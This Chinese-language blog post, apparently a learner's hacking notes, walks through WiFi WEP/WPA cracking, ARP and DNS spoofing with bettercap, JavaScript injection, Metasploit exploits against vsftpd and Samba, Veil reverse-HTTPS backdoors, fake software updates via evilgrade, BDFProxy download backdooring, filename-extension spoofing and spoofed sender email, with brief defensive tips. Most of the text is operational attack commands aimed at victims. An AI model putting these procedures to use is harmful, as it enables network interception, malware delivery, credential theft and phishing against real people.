黑客入门笔记(持续更新中)

网络入侵

1.1 前期准备

购买了Atheros 7291的无线网卡,插入到kali Linux上,执行以下命令启动网卡的启动监听模式:

ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 monitor #启动监听模式
ifconfig wlan0 up

1.2 破解网络

1.2.1 破解WEP秘钥

  • 破解原理
    WEP网络发送的每一个包都经过加密形成Key Stream
    Key Stream由24bit的ramdom initializaiton vector(IV)+password生成。

  • 攻击方式
    捕获网络上的包,如果没有包,就进行arp replay,迫使目标路由器和我们握手,从而捕获生成的握手包

      # Fake Athentication Attack 0 一次
      aireplay-ng --fakeauth 0 目标MAC -h 网卡MAC wlan0 
      # arp reqyest replay
      aireplay-ng --arpreplau 0 -b 目标mac -h 网卡mac wlan0
      # 从捕获到的包中获取key
      aircrack-ng arpreplay-01.cap
    

1.2.2 破解WPA/WPA2秘钥

  • 破解原理
  1. 基于WPS特性
    WPS允许客户端在没有密码的情况下连接到网络认证只使用了8位的pin码,所以暴力破解pin码
  2. 字典破解
    如果网络的WPS特性关闭,只能使用字典攻击了。并且默认来说WPS都是关闭的,字典破解是更常用的方式。
  • 具体操作

1.3 攻击方式拾遗

  • Deauthentication Attack
  • APR request Replay Attack

信息搜集和中间人攻击

2.1 Zenmap&Nmap

使用zenmap的quick scan plus,可以获取网络中的设备,运行的操作系统,开放的端口,端口运行的软件。从而可以搜索对应软件存在的漏洞进行攻击。
例子:Iphone越狱后会开启22端口,可以远程ssh登录。root的默认密码是alpine,值得一试。

2.2 ARP spoof(ARP poision)

ARP欺骗,中间人攻击
因为ARP没有安全检验机制
使用arpspoof让目标机器以为攻击者的机器是路由器,让路由器以为攻击者的机器是目标机器。
先开启流量转发:

	echo 1 >> /proc/sys/net/ipv4/ip_forward
	命令:arpspoof -i 网卡名 -t 目标机器IP 让目标机器认为我们是谁的IP
	arp -a查看本地的arp表

2.3 bettercap 中间人攻击

也可用于arp欺骗,功能比arpspoof强大
命令:

bettercap -itface wlan0
 进入之后的命令:
help帮助,能查看运行的模块
net.probe给同一网段的设备发UDP请求
,搜集设备信息,会自动开启net.recon
查看搜集的结果:net.show
开启arp欺骗:
- set arp.spoof.fulduplex  true #让目标机器和路由器都认为我是中间人
- set arp.spoof.targets 1.0.2.15 #目标机器
- arp.spoof on
-ney.sniff on开启监听,可以捕获所有的请求(吊爆了)

可以把以上命令都写入脚本

bettercap -itface wlan0 caplet xxxxx.cap

上述命令只能捕获未加密的HTTP请求,想获得HTTPS的信息,需要额外的步骤:

1. 下载htshjack解压到/usr/share/bettercap/caplets
2. 脚本中,在开始sniff前增加
set net.sniff.local true
3.运行脚本即可开始捕获(吊爆了)

2.4 部分解决hsts问题

hsts:一部分网页

2.5 DNS欺骗

1.先执行上述脚本,开启相关模块
2. set dns.spoof.domain xxx 设置想要查访问的人骗到xxx去,不设置的话默认是网卡地址
3.set dns.spoof.all true 是否把所有请求都骗过去
set dns.spoof.domains xxx,xxx逗号分割的域名,访问xxx时会欺骗
4.dns.spoof.on
注入javascript脚本:
1.同上,执行脚本,启动相关服务
2.把js代码保存到foo.js
3.打开hstshijack模块,修改hijack.cap
4.在set hstshijack.payloads 之后增加*:/path/to/foo.js
5.运行hijack模块: hstshijack/hstshijack

2.6Wireshark

不是用来攻击的工具,只能监听本地网卡。但是通过arp欺骗。可以捕获别人的流量,从而分析监听别人的网络
简单使用:

  • 过滤http(绿色)
  • 查看http内容
  • 搜索http内容

2.7 把自己伪装成热点

伪装成热点后,对接入的victims自动成中间人
使用start-nat-simple.sh,再启动bettercap(另外的启动命令不实用,先忽略了),或者使用wireshark抓包
使用工具mana

  1. 编辑mana的配置文件/etc/mana-toolkit/hostapd-mana.conf,修改想要使用无线网卡名字,和ssid
  2. 编辑启动文件/usr/share/mana-toolkit/run-mana/start-mana-simole.sh,修改phy为无线网卡,upstream为可以联网的另一个网卡
  3. 运行

检测攻击

3.1 检测arp欺骗:

1.使用XR工具
2.使用wireshark抓包
3.使用static arptable

3.2 防止中间人攻击:

1.使用https everywhere插件
2.使用vnp,vpn会加密。但是vpn提供商会获取你的全部通讯,所以要选择可信的供应商。

获取权限

  • server side attack
    只需要ip就可以进行攻击,使用端口扫描等
  • client side attack
    需要和服务器通信,上传,社会工程,引诱安装木马等

4.1 初体验

使用zenmap扫描端口,然后去谷歌搜索端口的漏洞,默认密码等,加以利用,本例使用了rlogin

4.2 metasploit

由rapid7开发的渗透软件

msfcosole运行metasploit
use /path/to/exploit 使用漏洞模块(可以在rapid7网站上搜索)
show options显示选项,其中name对应的vakue可以通过options进行设置
set xx xx设置选项
exploit 执行漏洞
# 本例使用了vstftp的后门(backdoor),对21端口进行连接。能够连接ftp后执行代码

4.2 远程执行漏洞

本例对运行在139端口的samba进行攻击

use xxxx
show options
set rhost 10.200.1.5
show payloads(payloads意思是可执行的代码片段)
  • payloads有两类,一类是命名为bind_xxx的,是在目标机器上开启端口并与其通讯。reverse_xx的是在自己机器上开启端口,让远程机器与自己通讯。优点是不会被目标机器的防火墙拦截。
    可以把自己的端口设置成80让远程机器再访问浏览器呢

4.3 nexpose

同样为rapid7开发的渗透工具,可以检测更大范围的漏洞,并且汇报给对应的人员

安装
1下载
2service stop postgresql
3赋予执行权限
4执行安装
  • 安装过程中,如果遇到不支持kali1,需要kali2的问题,需要升级lunix的/etc/lsb-release和/etc/os-release,先备份,修改自己的版本为kali2,安装完成后再恢复备份

  • 安装后可以用来扫描所有漏洞,自动在rapid7上发现攻击方法,生成报告

4.4 Client side attack

apt-get install veil

4.5 veil用于给系统留后门

运行之后可以看到evasion模块
evasion模块命名一般为
语言名/payload名/rev

例子:
go/meterpreter/rev_http

  • 带rev的意思是受害者连接本地

例子:使用veil留后门

运行后执行:

list  #列出所有可用的工具
use 1 #使用1 ecasion
use 15 #使用15 go的http——rev
ifconfig #查看kali的的ip
set LHOST ${kali_ip}   
set LPORT ${kali_port}
set PROCESSORS 1 #使用的最小cpu数
set SLEEP 6 #睡眠6秒

# 然后生成backdoor:
generate
# 命名之后可以获得exe文件

4.6 使用metaexplit监听来自veil的连接

go/meteptrter/rev_htps,port 8080
msfconsole
use exploit/multi/handler #监听incoming connections
show options
set LHOST
set LPORT
set payload windows/meterpreter/reverse_https  # <-payload和veil中使用的保持一致
  • /var/wwww/html中储存kali作为服务器时可以下载的内容

4.7 诱导victim安装后门:

#启动
cd opt/evilgrade
./evilgrade

show modules
#可以看到很多软件的虚假升级组件

configure [module_name] #(设置module_name的配置)
show options #其中的virtualHost是该模块的域名,使用dns欺骗的时候要替换成改属性,本例是update.speedit.com
set agent /var/www/html/backdoor.exe #设置后门的路径
set endsite 222.speedbit.com #设置升级之后返回的页面
start

#开始等待连接了


#然后需要成为中间人

bettercap -iface eth0 -caplet /path/to/script
set dns.spoof.all true
set dsn.spoof.domain update.speedit.com
set dns.spoof on

受害人如果更新该软件就会上钩

4.7plus 另一种让受害人上钩的方法

/opt/BDFProxy

# 更改cfg:
proxyMode:transparent
# 更改配置文件中的HOST为本机IP(本例想对windows系统进行攻击,所以选择[[ windowsIntelx86]] [[windowsx64]]对应的配置)
# 执行bdf_proxy.py

# 成为中间人进行arp欺骗
bettercap -iface eth0 -caplet /path/to/script

#配置本地的防火墙转发规则
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 #-t 表名 -A append -p package类型
#把访问80的请求转发到8080
msfconsole --resource /opt/BDFProxy/bdfproxy_msf_resource.rc
#如果下载内容则会连接到msfconsole

4.8 如何防范攻击

  • 确定没有中间人
  • 只从http下载
  • 检查下载文件的MD5文件

基于社会工程学搜集密码

5.1 使用工具:maltego

  • 拖拽人物,网站等建立transformation,自动挖掘个人信息

5.2 使用Autoit

把脚本伪装成任意文件,脚本先下载图片,再下载木马,直接执行看起来就是打开了一个图片。
使用rw-desinger(网页)把图片转成icon,让木马看起来像是图片

5.3 使用characters伪装扩展名

使用right ro left extension
光标后面的内容会被反过来复制成一个字符
文件名以(ex结尾为妙,比如hex,sex)
有的浏览器会去掉反写,所以最好把文件压缩一下再发送

5.4 使用senditblue网站发送假邮件

1.先去senditblue注册
2.在kali使用sendemail
3.sendemail --help
4.设置用户名,密码等
sendemail -u [在senditblue注册的邮箱] -xp 密码 -s smtp-relapu.senditblue.com:5787(服务器) -t "m.astarg@isecurity.com"(收件人) -f "zaid@isecurity.com"(发件人,在发件人处伪装发件人) -u [邮件标题] -m [邮件内容] -o message-header "From: Mohanmmad Askar m.astarg@isecurity.com"(邮箱里显示的姓名)

获取权限-ex

6.1 beEf

基于js的钩子,能让上钩的人在beEf控制台被控制

  • 常用方法
  1. 基于中间人:使用之前的方法,使用bettercap成为中间人并注入js代码
  2. DNS欺骗,如以前的方法,返回假页面
  3. 社会工程,诱导打开页面
  • BeEF基本操作
    界面上都有,自己看吧,截屏,摄像头什么的
    举例:
  1. 发送假的session time out页面进行社会工程学偷密码
  2. 发送假的升级信息,连接指向之前制作的木马软件

6.2 如何防止木马:

  1. 右键查看详情检查文件类型
  2. 查看电脑进程有没有可疑的,了解到不明ip的,搜索ip使用reverse dns(网上的服务)
  3. 使用sandbox(沙箱环境),模拟运行,也可以使用网上的服务(比如hybrid-analysis.com)

综合练习

7.1 综述

  • 由于在内网的设备的IP不暴露到公网,需要在网络的路由器上设置转发,才能让上钩的受害者连接到本地

7.2 步骤

posted @ 2020-07-07 14:10  風酱  阅读(1040)  评论(0编辑  收藏  举报